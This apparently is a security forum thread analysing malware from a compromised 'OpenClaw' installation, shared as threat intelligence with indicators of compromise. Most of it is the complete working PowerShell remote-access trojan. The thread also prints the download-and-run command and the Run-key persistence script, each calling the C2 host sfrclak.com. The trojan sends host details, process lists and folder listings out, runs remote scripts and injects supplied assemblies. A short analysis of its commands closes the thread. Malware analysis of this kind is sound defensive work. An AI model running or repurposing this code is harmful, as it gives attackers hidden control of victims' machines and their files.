We caught ourselves a compromised OpenClaw installation. Here’s what we have.
Post-Installation Payload
Once installed, a temporary VBS script was written to %LOCALAPPDATA%\Temp\6202033.vbs.
This ran:
"C:\Windows\System32\cmd.exe" /c curl -s -X POST -d "packages.npm.org/product1" "http://sfrclak.com:8000/6202033" > "C:\Users\USER\AppData\Local\Temp\6202033.ps1" & "C:\ProgramData\wt.exe" -w hidden -ep bypass -file "C:\Users\USER\AppData\Local\Temp\6202033.ps1" "http://sfrclak.com:8000/6202033" & del "C:\Users\USER\AppData\Local\Temp\6202033.ps1" /f
So the same IoCs as reported before.
Recon
Commands run include:
netstat -ano -p tcp
schtasks /Query /TN "OpenClaw Gateway" /V /FO LIST
schtasks /Query
schtasks /Query /TN "OpenClaw Gateway"
where powershell
Persistence
system.bat is written to the CurrenVersion\Run registry key. Contents:
start /min powershell -w h -c "
([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing -Uri 'http://sfrclak.com:8000/6202033' -Method POST -Body 'packages.npm.org/product1').Content))) 'http://sfrclak[.]com:8000/6202033'"
As noted, the C2 should be down, but this is what you would want to look for.
I have the samples and can analyze further as necessary.
1 Like
Here is the PowerShell script, which is the meat and potatoes of the malware.
$url = $args[0]
$uid = -join ((48..57) + (65..90) + (97..122) | Get-Random -Count 16 | ForEach-Object {[char]$_})
$username = $env:USERNAME
$hostname = $env:COMPUTERNAME
$timezone = "(UTC" + $((Get-TimeZone).BaseUtcOffset.TotalHours) + " hours) " + $((Get-TimeZone).StandardName)
$bootTime = (Get-CimInstance Win32_OperatingSystem).LastBootUpTime
$bootTimeString = $bootTime.ToString("r")
$installDate = (Get-CimInstance Win32_OperatingSystem).InstallDate
$modelName = (Get-CimInstance Win32_ComputerSystem).Model
$cpuType = (Get-CimInstance Win32_Processor | Select-Object -First 1).Name
$os = Get-CimInstance Win32_OperatingSystem
$version = "$($os.Caption) $($os.OSArchitecture) $($os.Version)"
$regKey = "HKCU:\Software\Microsoft\Windows\CurrentVersion\Run"
$regName = "MicrosoftUpdate"
$batFile = Join-Path $env:PROGRAMDATA "system.bat"
$batCont = "start /min powershell -w h -c " + """" + "& ([scriptblock]::Create([System.Text.Encoding]::UTF8.GetString((Invoke-WebRequest -UseBasicParsing -Uri '" + $url + "' -Method POST -Body 'packages.npm.org/product1').Content))) '" + $url + "'"""
Set-Content -Path $batFile -Value $batCont -Encoding ASCII
Set-ItemProperty -Path $batFile -Name Attributes -Value Hidden
Set-ItemProperty -Path $regKey -Name $regName -Value $batFile
function Get-Response {
param(
[string] $body
)
$wc = New-Object System.Net.WebClient
try {
$wc.Headers["User-Agent"] = "mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)"
$wc.Headers["Content-Type"] = "application/x-www-form-urlencoded"
$bodyBytes = [System.Text.Encoding]::UTF8.GetBytes($body)
$base64Body = [Convert]::ToBase64String($bodyBytes)
$postBytes = [System.Text.Encoding]::UTF8.GetBytes($base64Body)
$responseBytes = $wc.UploadData($url, "POST", $postBytes)
return $responseBytes
}
catch {
return $null
}
finally {
$wc.Dispose()
}
}
function Do-Action-Ijt {
param(
[string] $ijtdll,
[string] $ijtbin,
[string] $param
)
try{
[byte[]]$rotjni = [System.Convert]::FromBase64String($ijtdll)
[byte[]]$daolyap = [System.Convert]::FromBase64String($ijtbin)
$assem = [System.Reflection.Assembly]::Load([byte[]]$rotjni)
$class = $assem.GetType("Extension.SubRoutine")
$method = $class.GetMethod("Run2")
$method.Invoke(0, @([byte[]]$daolyap, (Get-Command cmd).Source, $param))
}
catch {
return @{
status = "Zzz"
msg = $_.Exception.Message
}
}
return "Wow"
}
function Do-Run-Scpt {
param(
[string] $cmdline
)
try{
$psi = New-Object System.Diagnostics.ProcessStartInfo
$psi.FileName = "powershell.exe"
$psi.Arguments = $cmdline
$psi.UseShellExecute = $false
$psi.CreateNoWindow = $true
$psi.WindowStyle = [System.Diagnostics.ProcessWindowStyle]::Hidden
$psi.RedirectStandardOutput = $true
$p = [System.Diagnostics.Process]::Start($psi)
$stdout = $p.StandardOutput.ReadToEnd()
$p.WaitForExit()
return @{
status = "Wow"
msg = $stdout
}
}
catch{
return @{
status = "Zzz"
msg = $_.Exception.Message
}
}
}
function Do-Action-Scpt {
param(
[string] $scpt,
[string] $param
)
if ($scpt.Length -eq 0) {
$res = Do-Run-Scpt -cmdline "-NoProfile -ep Bypass $param 2>&1"
return $res
}
$payload = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($scpt))
if ($payload.Length -ge 10240) {
$tempFile = Join-Path $env:TEMP ("{0}.ps1" -f ([Guid]::NewGuid().ToString("N")))
Set-Content -Path $tempFile -Value $payload -Encoding UTF8 -Force
$res = Do-Run-Scpt -cmdline "-NoProfile -ep Bypass -File `"$tempFile`" `"$param`" 2>&1"
if (Test-Path $tempFile) { Remove-Item $tempFile -Force -ErrorAction SilentlyContinue }
return $res
}
else {
$payloadBytes = [Text.Encoding]::Unicode.GetBytes($payload)
$paramBytes = [Text.Encoding]::Unicode.GetBytes($param)
$payloadEnc = [Convert]::ToBase64String($payloadBytes)
$paramEnc = [Convert]::ToBase64String($paramBytes)
$cmd = ("`$payload=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$payloadEnc')); "+"`$param=[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String('$paramEnc')); "+"`$sb=[ScriptBlock]::Create(`$payload); "+'& '+"`$sb "+"`$param")
$bytes = [Text.Encoding]::Unicode.GetBytes($cmd)
$enc = [Convert]::ToBase64String($bytes)
$res = Do-Run-Scpt -cmdline "-NoProfile -ep Bypass -EncodedCommand $enc"
return $res
}
}
function Get-DetailedFileList {
param(
[string] $Path,
[string] $Id,
[switch] $Recurse
)
if (-not (Test-Path -LiteralPath $Path)) {
return @{
id = "-1"
}
}
$items = Get-ChildItem -LiteralPath $Path -Force -Recurse:$Recurse
$result = @(
$items | ForEach-Object {
[PSCustomObject]@{
Name = $_.Name
IsDir = $_.PSIsContainer
SizeBytes = $_.Length
Created = ([DateTimeOffset]$_.CreationTime).ToUnixTimeSeconds()
Modified = ([DateTimeOffset]$_.LastWriteTime).ToUnixTimeSeconds()
HasItems = if ($_.PSIsContainer) {
(Get-ChildItem -LiteralPath $_.FullName -Force -ErrorAction SilentlyContinue | Select-Object -First 1) -ne $null
} else {
$false
}
}
}
)
$rlt = @{
id = $Id
parent = $Path
childs = $result
}
return $rlt
}
function Do-Action-Dir {
param(
[pscustomobject[]] $Paths
)
$rlt = @()
foreach ($item in $Paths) {
$rlt += Get-DetailedFileList -Path $item.path -Id $item.id
}
if ($Paths.Length -eq 1){
return ,$rlt
}
return $rlt
}
function Process-Request {
param(
[string] $data
)
$res = $null
if ($Data.Length -eq 0) {
return $false
}
$json = ($data | ConvertFrom-Json)
Write-Host $data
if ($json.type -eq "kill") {
$body = @{
type = "CmdResult"
cmd = "rsp_kill"
cmdid = $json.CmdID
uid = $uid
status = "success"
}
$res = Get-Response -body ($body | ConvertTo-Json)
exit 0
}
elseif ($json.type -eq "peinject") {
$rlt = Do-Action-Ijt -ijtdll $json.IjtDll -ijtbin $json.IjtBin -param $json.Param
$body = @{
type = "CmdResult"
cmd = "rsp_peinject"
cmdid = $json.CmdID
uid = $uid
status = $rlt.status
msg = $rlt.msg
}
$res = Get-Response -body ($body | ConvertTo-Json)
}
elseif ($json.type -eq "runscript") {
$rlt = Do-Action-Scpt -scpt $json.Script -param $json.Param
$body = @{
type = "CmdResult"
cmd = "rsp_runscript"
cmdid = $json.CmdID
uid = $uid
status = $rlt.status
msg = $rlt.msg
}
$res = Get-Response -body ($body | ConvertTo-Json)
}
elseif($json.type -eq "rundir") {
$rlt = Do-Action-Dir -path $json.ReqPaths
$body = @{
type = "CmdResult"
cmd = "rsp_rundir"
cmdid = $json.CmdID
uid = $uid
msg = $rlt
}
$res = Get-Response -body ($body | ConvertTo-Json -Depth 10)
}
return $true
}
function Init-Dir-Info {
$userDir = $env:USERPROFILE
$initDir = @(
Join-Path $userDir "Documents"
Join-Path $userDir "Desktop"
Join-Path $userDir "OneDrive"
Join-Path $userDir "AppData\Roaming"
)
$drives = Get-PSDrive -PSProvider FileSystem | ForEach-Object { $_.Root }
$initDir += $drives
$rlt = @()
$idx = 0
foreach ($item in $initDir) {
$tmp = Get-DetailedFileList -Path $item -Id ("FirstReqDir-$idx")
if($tmp.id -eq "-1"){continue}
$rlt += $tmp
$idx++
}
return $rlt
}
function mainWork {
}
function work {
$arch = [System.Runtime.InteropServices.RuntimeInformation]::OSArchitecture
$os = "windows_x64"
switch ($arch) {
"X64" { $os="windows_x64" }
"Arm64" { $os="windows_arm" }
default { $os="windows_x64" }
}
$dirInfo = Init-Dir-Info
$firstInfo = @{
type = "FirstInfo"
uid = $uid
content = $dirInfo
os = $os
}
$res = Get-Response -body ($firstInfo | ConvertTo-Json -Depth 5)
$first = $true
while ($true) {
$currentTime = Get-Date
$currentTimeString = $currentTime.ToString("r")
$processList = ""
Get-CimInstance Win32_Process | ForEach-Object {
$processId = $_.ProcessId
$sid = $_.SessionId
$name = $_.Name
$path = $_.ExecutablePath
$line = "${processId} ${sid} ${name} ${path}"
$processList += $line + "`n"
}
$data = @{
currentTimeString = $currentTimeString
}
if ($first) {
$data = @{
hostname = $hostname
username = $username
version = $version
timezone = $timezone
installDate = $installDate
bootTimeString = $bootTimeString
currentTimeString = $currentTimeString
modelName = $modelName
cpuType = $cpuType
os = $os
processList = $processList
}
$first = $false
} else {
$data = @{
currentTimeString = $currentTimeString
}
}
$postdata = @{
type = "BaseInfo"
uid = $uid
data = $data
}
if ($null -ne $url -and -not [string]::IsNullOrWhiteSpace($url)) {
$res = Get-Response -body ($postData | ConvertTo-Json -Depth 10)
if ($null -ne $res -and $res.Length -gt 0) {
Process-Request -data ([System.Text.Encoding]::UTF8.GetString($res))
}
}
$count = $count + 1
Start-Sleep -Seconds 60
}
return $true
}
work
Analysis
Firstly, this is the cleanest PowerShell stage I’ve seen in a while. It almost has to be AI generated because no self-respecting criminal would push this out without some kind of obfuscation.
Upon first launch, the script grabs contents of home directory folders (Init-Dir-Info) and sends that along to the C2 URL. Then every second afterward, it sends a timestamp as a hearbeat. No jitter, no randomization. Just…a heartbeat. If it receives JSON back, it interprets it via Process-Response.
Fun note: It’s writing the response to stdout!
Commands include:
kill: Kill the process
runscript: Run a supplied PowersShell script that’s base64-encoded (Do-Action-Scpt)
peinject: Reflective DLL injection with supplied DLL .NET Assembly (Do-Action-Ijt)
rundir: Get a directory listing (Do-Action-Dir)
About as straightforward as it gets.
Made this CLEAR to keep expectations, uh, clear about these artifacts.